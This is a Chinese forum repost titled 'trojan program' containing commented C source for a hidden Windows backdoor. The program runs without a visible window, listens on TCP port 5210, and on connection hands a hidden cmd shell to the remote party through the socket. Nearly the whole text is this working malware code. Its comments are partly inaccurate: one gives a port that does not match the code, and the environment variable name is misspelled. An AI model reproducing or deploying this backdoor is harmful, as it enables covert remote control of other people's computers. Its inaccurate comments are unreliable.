木马程序

转载自zusheng：http://bbs.ichunqiu.com/thread-6935-1-1.html?from=jkttcold

#pragma comment(lib,"ws2_32.lib")  //这里我们静态加入一个lib文件，也就是ws2_32.lib</font>


#pragma comment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"") //设置连接器选项


#include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件


#include <windows.h> //常用的，不解释


#define MasterPort 5210 //定义一个常量，也就是我们后面要打开的端口


main()   //主函数不解释
{
        WSADATA WSADa;    //这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释，不懂请大家自行百度
        sockaddr_in SockAddrIn; 
        SOCKET CSocket,SSocket;
        int iAddrSize;
        PROCESS_INFORMATION ProcessInfo;
        STARTUPINFO StartupInfo;
        char szCMDPath[255];
//分配内存，初始化数据
        ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
        ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
        ZeroMemory(&WSADa,sizeof(WSADATA));


        //获取cmd路径
        GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));


        //加载ws2_32.dll
        WSAStartup(0x0202,&WSADa);


        //设置本地信息和绑定协议,建立socket,代码如下:
        SockAddrIn.sin_family = AF_INET;
        SockAddrIn.sin_addr.s_addr = INADDR_ANY;
        SockAddrIn.sin_port = htons(MasterPort);
        CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);


        //设置绑定端口999
        bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));


        //设置服务器端监听端口
        listen(CSocket,1);
        iAddrSize = sizeof(SockAddrIn);


        //开始连接远程服务器，并配置隐藏窗口结构体
        SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);


        StartupInfo.cb = sizeof(STARTUPINFO);


        StartupInfo.wShowWindow = SW_HIDE;
        
        StartupInfo.dwFlags = STARTF_USESTDHANDLES |


        STARTF_USESHOWWINDOW;


        StartupInfo.hStdInput = (HANDLE)SSocket;


        StartupInfo.hStdOutput = (HANDLE)SSocket;


        StartupInfo.hStdError = (HANDLE)SSocket;
        
        //创建匿名管道：


        CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);


        WaitForSingleObject(ProcessInfo.hProcess, INFINITE);


        CloseHandle(ProcessInfo.hProcess);


        CloseHandle(ProcessInfo.hThread);


 


        //关闭进程句柄：


        closesocket(CSocket);


        closesocket(SSocket);


        WSACleanup();


          //关闭连接卸载ws2_32.dll


        return 0;


        }